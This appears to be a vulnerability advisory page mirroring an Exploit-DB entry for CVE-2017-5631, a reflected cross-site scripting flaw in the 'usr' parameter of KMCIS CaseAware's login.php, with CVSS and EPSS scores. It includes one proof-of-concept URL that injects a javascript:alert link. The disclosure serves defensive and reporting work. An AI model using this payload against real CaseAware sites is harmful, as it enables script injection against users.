KMCIS CaseAware - Cross-Site Scripting

2017-05-2000:00:00

justpentest

www.exploit-db.com

4.3 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.003 Low

EPSS

Percentile

68.9%

JSON

# Exploit Title: CaseAware Cross Site Scripting Vulnerability
# Date: 20th May 2017
# Exploit Author: justpentest
# Vendor Homepage: https://caseaware.com/
# Version: All the versions
# Contact: [email protected]
# CVE : 2017-5631

Source: https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle

1) Description:
An issue with respect to input sanitization was discovered in KMCIS
CaseAware. Reflected cross site scripting is present in the user parameter
(i.e., "usr") that is transmitted in the login.php query string. So
bascially username parameter is vulnerable to XSS.

2) Exploit:

https://caseaware.abc.com:4322/login.php?mid=0&usr=admin'><a
HREF="javascript:alert('OPENBUGBOUNTY')">Click_ME<'
----------------------------------------------------------------------------------------

3) References:

https://www.openbugbounty.org/incidents/228262/
https://nvd.nist.gov/vuln/detail/CVE-2017-5631#vulnDescriptionTitle